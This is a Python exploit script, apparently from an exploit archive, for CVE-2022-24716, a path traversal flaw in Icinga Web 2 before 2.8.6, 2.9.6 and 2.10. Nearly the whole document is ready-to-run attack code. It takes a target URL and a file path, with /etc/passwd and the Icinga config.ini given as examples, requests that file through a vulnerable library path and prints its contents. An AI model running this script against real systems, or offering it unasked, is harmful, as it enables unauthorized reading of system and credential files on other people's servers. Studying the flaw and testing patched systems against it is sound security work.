Icinga Web 2.10 - Arbitrary File Disclosure

#!/usr/bin/env python3

# Exploit Title: Icinga Web 2.10 - Arbitrary File Disclosure
# Date: 2023-03-19
# Exploit Author: Jacob Ebben
# Vendor Homepage: https://icinga.com/
# Software Link: https://github.com/Icinga/icingaweb2
# Version: <2.8.6, <2.9.6, <2.10
# Tested on: Icinga Web 2 Version 2.9.2 on Linux
# CVE: CVE-2022-24716
# Based on: https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/

import argparse
import requests
from termcolor import colored

def print_message(message, type):
    if type == 'SUCCESS':
        print('[' + colored('SUCCESS', 'green') +  '] ' + message)
    elif type == 'INFO':
        print('[' + colored('INFO', 'blue') +  '] ' + message)
    elif type == 'WARNING':
        print('[' + colored('WARNING', 'yellow') +  '] ' + message)
    elif type == 'ALERT':
        print('[' + colored('ALERT', 'yellow') +  '] ' + message)
    elif type == 'ERROR':
        print('[' + colored('ERROR', 'red') +  '] ' + message)

def get_normalized_url(url):
    if url[-1] != '/':
        url += '/'
    if url[0:7].lower() != 'http://' and url[0:8].lower() != 'https://':
        url = "http://" + url
    return url

def get_proxy_protocol(url):
    if url[0:8].lower() == 'https://':
        return 'https'
    return 'http'

parser = argparse.ArgumentParser(description='Arbitrary File Disclosure Vulnerability in Icinga Web <2.8.6, <2.9.6, <2.10')
parser.add_argument('TARGET', type=str, 
                help='Target Icinga location (Example: http://localhost:8080/icinga2/ or https://victim.xyz/icinga/)')
parser.add_argument('FILE', type=str, 
                help='Filename to gather from exploit (Example: "/etc/passwd" or "/etc/icingaweb2/config.ini")')
parser.add_argument('-P','--proxy', type=str,
                help='HTTP proxy address (Example: http://127.0.0.1:8080/)')
args = parser.parse_args()

if args.proxy:
    proxy_url = get_normalized_url(args.proxy)
    proxy_protocol = get_proxy_protocol(proxy_url)
    proxies = { proxy_protocol: proxy_url }
else:
    proxies = {}

base_url = get_normalized_url(args.TARGET)
exploit_url = base_url + "lib/icinga/icinga-php-thirdparty" + args.FILE

request = requests.get(base_url, proxies=proxies)
if request.status_code == 404:
	print_message("Could not connect to provided URL!", "ERROR")
	exit()

request = requests.get(exploit_url, proxies=proxies)
file_content = request.text

print(file_content)